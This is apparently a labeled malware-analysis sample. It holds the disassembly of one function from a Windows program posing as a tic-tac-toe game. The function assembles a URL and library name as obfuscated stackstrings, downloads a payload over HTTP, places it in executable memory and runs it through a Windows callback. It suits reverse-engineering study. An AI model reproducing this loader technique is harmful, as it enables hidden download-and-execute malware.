Function at 0x406380
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450bc5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x574
push ebx
push esi
mov esi, dword [ecx + 0x3c]
xor ebx, ebx
push edi
cmp esi, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
je 0x406f93
mov eax, dword [ecx + 0x1c]
push 0xffff0000
push ebx
push 0x1101
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push str.select__from_house
lea ecx, [ebp - 0x40]
call fcn.00433ff1
mov eax, dword [0x46d8cc]
mov dword [ebp - 4], ebx
cmp eax, 1
jg 0x406a64
inc eax
mov byte [ebp - 4], 1
mov dword [0x46d8cc], eax
add eax, 8
cmp eax, 0x1b
je 0x406a61
lea ecx, [ebp - 0xb4]
push 0x45f150
push ecx
mov dword [ebp - 0xb4], 0xa9c9
call fcn.0041a094
cmp dword [0x46d8cc], 0x4d8e
jne 0x40642c
call fcn.00405750
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 3
call esi
mov cl, 0x65
mov al, 0x6c
xor ebx, ebx
push 3
mov byte [ebp - 0x3c], 0x6b
mov byte [ebp - 0x3b], cl
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x6e
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x37], al
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x61
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], cl
mov byte [ebp - 0x32], 0x2e
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], al
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], bl
call esi
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 3
mov dword [ebp - 0x18], eax
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x57f]
mov byte [ebp - 0x580], bl
rep stosd dword es:[edi], eax
push 3
stosw word es:[edi], ax
call esi
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x580]
push 0xff
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 3
call esi
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x580]
push edx
call fcn.00406150
push 3
call esi
push 3
call esi
push 3
mov dword [ebp - 0x18], ebx
call esi
mov ax, word [ebp - 0x580]
lea ecx, [ebp - 0x580]
cmp ecx, 0x2a4
mov word [ebp - 0x18], ax
jne 0x4066bc
mov edi, dword [ebp - 0x24]
mov byte [ebp - 0x14], 0x47
mov ecx, edi
mov byte [ebp - 0x1d], 1
call fcn.00405f80
mov ecx, edi
call fcn.00405fa0
mov esi, dword [ebp - 0x14]
jmp 0x40651a
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x24]
push str._enter_row_and_column
push esi
push str.Player
push 0x46fdd0
call fcn.00409270
add esp, 8
push eax
call fcn.00409500
add esp, 8
push eax
call fcn.00409270
add esp, 8
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x18]
mov ecx, 0x46fe60
push edx
push eax
call fcn.00408a10
mov ecx, eax
call fcn.00408a10
mov ecx, dword [ebp - 0x18]
cmp ecx, ebx
jl 0x40664d
cmp ecx, 0x11
jge 0x40664d
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
jl 0x40664d
cmp eax, 0x11
jge 0x40664d
mov edx, ecx
shl edx, 4
add eax, edx
lea eax, [ecx + eax + 0x46d60c]
cmp byte [eax], 0x2e
jne 0x40664d
mov cl, byte [ebp - 0x14]
mov byte [eax], cl
mov ecx, edi
call fcn.00405fa0
push esi
mov ecx, edi
call fcn.00406040
test al, al
je 0x40663a
mov edx, dword [ebp - 0x14]
push str._ins_
push edx
push str.Player
push 0x46fdd0
call fcn.00409270
add esp, 8
push eax
call fcn.00409500
add esp, 8
push eax
call fcn.00409270
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.004088a0
mov eax, dword [esi]
xor edi, edi
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov cl, byte [ecx + esi + 4]
test cl, 6
jne 0x406617
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x406617
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp edi, ebx
je 0x406637
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
cmp edx, ebx
jne 0x406630
or al, 4
push ebx
push eax
call fcn.0042788c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x14], 0x47
setne cl
dec ecx
and ecx, 0xfffffffc
add ecx, 0x47
mov byte [ebp - 0x14], cl
jmp 0x4066ad
push str.Invalid_move._Try_again.
push 0x46fdd0
call fcn.00409270
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.004088a0
mov edx, dword [esi]
xor edi, edi
mov eax, dword [edx + 4]
add eax, esi
test byte [eax + 4], 6
jne 0x40668d
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x40668d
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp edi, ebx
je 0x4066ad
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
cmp edx, ebx
jne 0x4066a6
or al, 4
push ebx
push eax
call fcn.0042788c
cmp byte [ebp - 0x1d], bl
jne 0x406514
mov eax, 0x406a5c
ret
lea ecx, [ebp - 0x580]
cmp ecx, 0x22fd
jne 0x406757
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
push ebx
push 0x46757c
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x24]
call fcn.00405ae0
push ebx
push ebx
push 0x46757c
push ebx
call edi
push 3
call esi
cmp byte [0x46d734], bl
jne 0x406751
mov ecx, dword [ebp - 0x24]
call fcn.00405b40
push ebx
push ebx
push 0x46757c
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x24]
call fcn.00405da0
push ebx
push ebx
push 0x46757c
push ebx
call edi
push 3
call esi
mov ecx, dword [ebp - 0x24]
call fcn.00405e30
push ebx
push ebx
push 0x46757c
push ebx
call edi
push 3
call esi
push 0x335
call esi
cmp byte [0x46d734], bl
je 0x406700
push ebx
call fcn.00419fa1
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x47e]
mov word [ebp - 0x480], bx
rep stosd dword es:[edi], eax
mov eax, 0x74
mov ecx, 0x68
mov word [ebp - 0x9e], ax
mov word [ebp - 0x58], ax
mov edx, 0x31
mov word [ebp - 0xa0], cx
mov eax, 0x2f
mov word [ebp - 0x48], cx
mov ecx, 0x38
mov word [ebp - 0x8e], dx
mov word [ebp - 0x70], dx
mov word [ebp - 0xa6], ax
mov word [ebp - 0x68], ax
mov word [ebp - 0x50], ax
lea edx, [ebp - 0xa0]
mov word [ebp - 0x76], cx
mov word [ebp - 0x90], cx
lea eax, [ebp - 0x480]
mov edi, 0x70
mov ecx, 0x6d
push edx
push eax
mov word [ebp - 0x9c], bx
mov word [ebp - 0x56], di
mov word [ebp - 0x54], bx
mov word [ebp - 0xa8], 0x3a
mov word [ebp - 0xa4], bx
mov word [ebp - 0x66], 0x7a
mov word [ebp - 0x64], bx
mov word [ebp - 0x46], 0x37
mov word [ebp - 0x44], bx
mov word [ebp - 0x78], 0x39
mov word [ebp - 0x74], bx
mov word [ebp - 0x8c], bx
mov word [ebp - 0x88], 0x2e
mov word [ebp - 0x86], 0x63
mov word [ebp - 0x84], bx
mov word [ebp - 0x98], 0x6f
mov word [ebp - 0x96], cx
mov word [ebp - 0x94], bx
mov word [ebp - 0x4e], 0x6b
mov word [ebp - 0x4c], bx
mov word [ebp - 0x60], 0x75
mov word [ebp - 0x5e], 0x61
mov word [ebp - 0x5c], bx
mov word [ebp - 0x6e], 0x2e
mov word [ebp - 0x6c], bx
mov word [ebp - 0x80], 0x62
mov word [ebp - 0x7e], cx
mov word [ebp - 0x7c], bx
mov word [ebp - 0x2c], di
mov word [ebp - 0x2a], bx
call fcn.00419f25
lea ecx, [ebp - 0x58]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.00419f25
lea eax, [ebp - 0xa8]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.00419f25
lea edx, [ebp - 0x68]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.00419f25
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.00419f25
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.00419f25
lea edx, [ebp - 0x90]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.00419f25
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.00419f25
add esp, 0x40
lea eax, [ebp - 0x98]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.00419f25
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.00419f25
lea ecx, [ebp - 0x60]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.00419f25
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x480]
push eax
push ecx
call fcn.00419f25
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x480]
push edx
push eax
call fcn.00419f25
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x480]
push ecx
push edx
call fcn.00419f25
add esp, 0x30
lea eax, [ebp - 0xb0]
mov word [ebp - 0xb0], 0x47
mov word [ebp - 0xae], 0x45
push eax
mov word [ebp - 0xac], 0x54
mov word [ebp - 0xaa], bx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea ecx, [ebp - 0x480]
mov edi, eax
push ecx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push eax
lea edx, [ebp - 0x14]
push edi
push edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ebx
call fcn.00406190
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp eax, 0x2714
jae 0x4069e5
push 0x57a
call esi
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x14]
push eax
push edi
push ecx
call fcn.00406190
add esp, 0xc
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
push 0xce64a
push edx
push eax
push edi
call fcn.00406110
mov ecx, dword [ebp - 0x14]
push 0x40
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 0x14]
mov esi, eax
push edx
push edi
push esi
call fcn.00419bf0
mov eax, dword [0x46d8cc]
add esp, 0xc
cmp eax, 0x2548
jne 0x406a46
call fcn.00405880
call fcn.00405ac0
mov eax, dword [0x46d730]
push eax
call fcn.00430116
add esp, 4
jmp 0x406a56
push 0x15
push 0xffffffffffffffff
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push ebx
call fcn.00419fa1
mov esi, dword [ebp - 0x1c]
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x280]
lea ecx, [ebp - 0xd8]
neg eax
sbb eax, eax
mov dword [ebp - 0xd8], ebx
and eax, ecx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
push 4
mov byte [ebp - 4], 3
call fcn.004300ed
mov edi, dword [ebp - 0x40]
add esp, 4
cmp edi, ebx
mov dword [ebp - 0x18], eax
jne 0x406ac9
mov edi, 0x467328
add esi, 0x21c
lea ecx, [ebp - 0xbc]
push esi
call fcn.00403a10
mov esi, eax
cmp esi, ebx
jl 0x406b52
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x14]
push ecx
push str.:s_f
mov edx, dword [eax]
push eax
mov byte [ebp - 4], 4
call dword [edx]
mov esi, eax
cmp esi, ebx
jl 0x406b3d
cmp edi, ebx
jne 0x406b0a
xor eax, eax
jmp 0x406b2c
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.004197e0
mov eax, esp
push ebx
push esi
push edi
push eax
call fcn.00402590
mov ecx, dword [ebp - 0x14]
push eax
push 0x45b934
push ecx
mov edx, dword [ecx]
call dword [edx + 0x1c]
mov esi, eax
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x406b4e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp esi, ebx
jge 0x406b59
mov eax, esi
mov esi, dword [ebp - 0x18]
jmp 0x406b6b
mov esi, dword [ebp - 0x18]
push 1
push esi
push ebx
lea ecx, [ebp - 0x280]
call fcn.00404980
cmp eax, ebx
je 0x406c45
push ebx
push ebx
push str.error
call fcn.0043b5c2
push esi
call fcn.00430116
add esp, 4
lea esi, [ebp - 0x280]
lea edx, [ebp - 0xbc]
neg esi
sbb esi, esi
and esi, edx
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 4]
mov byte [ebp - 4], 6
cmp eax, ebx
je 0x406be0
mov dword [ebp - 0x14], ebx
mov eax, dword [esi]
lea edx, [ebp - 0x14]
push edx
push 0x4672a0
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 7
call dword [ecx]
cmp eax, ebx
jl 0x406bd4
mov eax, dword [ebp - 0x14]
mov edx, dword [esi + 4]
push ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov dword [esi + 4], ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.00404740
mov ecx, esi
call fcn.00408500
mov esi, dword [esi]
mov byte [ebp - 4], 5
cmp esi, ebx
je 0x406bf7
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebp - 0xcc]
mov byte [ebp - 4], 8
cmp eax, ebx
je 0x406c1c
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403fa0
lea ecx, [ebp - 0xcc]
call fcn.00402be0
lea esi, [ebp - 0x280]
lea ecx, [ebp - 0xcc]
neg esi
sbb esi, esi
and esi, ecx
mov dword [ebp - 0x1c], esi
mov ecx, esi
mov byte [ebp - 4], 0xa
call fcn.00402be0
mov byte [ebp - 4], 9
jmp 0x406f72
push esi
call fcn.00430116
mov eax, dword [ebp - 0xc0]
add esp, 4
cmp eax, ebx
je 0x406c76
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea ecx, [ebp - 0xc0]
mov edx, dword [eax]
push ebx
push ecx
push 1
push eax
call dword [edx + 0x18]
mov dword [ebp - 0xc0], ebx
mov eax, dword [ebp - 0xcc]
push ebx
push eax
mov edx, dword [eax]
call dword [edx + 0x1c]
cmp eax, ebx
jge 0x406c8e
mov esi, eax
jmp 0x406d1b
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x28], ebx
cmp eax, ebx
je 0x406cb9
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0xc0]
push edx
lea edx, [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xcc]
push edx
push 1
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x14]
mov esi, eax
cmp esi, ebx
jne 0x406df9
lea ecx, [ebp - 0xcc]
call fcn.00404120
mov esi, eax
cmp esi, ebx
jge 0x406d1d
cmp dword [ebp - 0xc0], ebx
je 0x406d1b
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
cmp esi, ebx
jne 0x406df9
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x248]
mov edx, dword [ebp - 0x24c]
push eax
push ecx
push edx
push ecx
lea eax, [ebp - 0x10c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.00433ff1
mov ecx, dword [ebp - 0x24]
call fcn.00407510
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x28], ebx
cmp eax, ebx
je 0x406d7d
mov eax, dword [ebp - 0xcc]
push ebx
push ebx
lea edx, [ebp - 0xc0]
mov ecx, dword [eax]
push ebx
push edx
push 1
push eax
call dword [ecx + 0x18]
mov dword [ebp - 0xc0], ebx
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0xc0]
push edx
lea edx, [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xcc]
push edx
push 1
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x14]
cmp eax, ebx
je 0x406da6
mov edi, eax
jmp 0x406df1
mov eax, dword [ebp - 0xc4]
xor edi, edi
xor esi, esi
mov eax, dword [eax + 4]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jbe 0x406df1
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx]
cmp byte [edx + esi*8 + 4], bl
je 0x406dda
push esi
lea ecx, [ebp - 0xcc]
call fcn.00406fb0
mov edi, eax
cmp edi, ebx
jl 0x406de6
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, eax
jb 0x406dba
cmp edi, ebx
jge 0x406df3
lea ecx, [ebp - 0xcc]
call fcn.00402c40
cmp edi, ebx
je 0x406d23
mov eax, dword [ebp - 0xcc]
cmp eax, ebx
je 0x406ebf
cmp dword [ebp - 0xd4], ebx
jbe 0x406e85
mov dword [ebp - 0x14], ebx
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push 0x45b394
push eax
mov byte [ebp - 4], 0xb
call dword [ecx]
cmp eax, ebx
jl 0x406e53
mov eax, dword [ebp - 0xd4]
xor esi, esi
cmp eax, ebx
jbe 0x406e53
mov edx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x14]
push ebx
mov edx, dword [edx + esi*8]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0xd4]
inc esi
cmp esi, eax
jb 0x406e34
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd4], ebx
push eax
call fcn.00430116
mov eax, dword [ebp - 0x14]
add esp, 4
cmp eax, ebx
mov dword [ebp - 0xd8], ebx
mov byte [ebp - 4], 3
je 0x406e7f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0xcc]
cmp eax, ebx
je 0x406ebf
cmp dword [ebp - 0xc0], ebx
je 0x406ea9
mov edx, dword [eax]
push ebx
push ebx
lea ecx, [ebp - 0xc0]
push ebx
push ecx
push 1
push eax
call dword [edx + 0x18]
mov dword [ebp - 0xc0], ebx
lea ecx, [ebp - 0xcc]
call fcn.00408500
lea ecx, [ebp - 0xc8]
call fcn.00408500
lea esi, [ebp - 0x280]
lea edx, [ebp - 0xbc]
neg esi
sbb esi, esi
and esi, edx
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 4]
mov byte [ebp - 4], 0xd
cmp eax, ebx
je 0x406f17
mov dword [ebp - 0x14], ebx
mov eax, dword [esi]
lea edx, [ebp - 0x14]
push edx
push 0x4672a0
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 0xe
call dword [ecx]
cmp eax, ebx
jl 0x406f0b
mov eax, dword [ebp - 0x14]
mov edx, dword [esi + 4]
push ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov dword [esi + 4], ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xd
call fcn.00404740
mov ecx, esi
call fcn.00408500
mov ecx, esi
mov byte [ebp - 4], 0xc
call fcn.00404740
mov eax, dword [ebp - 0xcc]
mov byte [ebp - 4], 0xf
cmp eax, ebx
je 0x406f4e
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403fa0
lea ecx, [ebp - 0xcc]
call fcn.00402be0
lea esi, [ebp - 0x280]
lea eax, [ebp - 0xcc]
neg esi
sbb esi, esi
and esi, eax
mov dword [ebp - 0x1c], esi
mov ecx, esi
mov byte [ebp - 4], 0x11
call fcn.00402be0
mov byte [ebp - 4], 0x10
lea ecx, [esi + 4]
call fcn.00404740
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.00404740
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
call fcn.00433f83
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x58c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret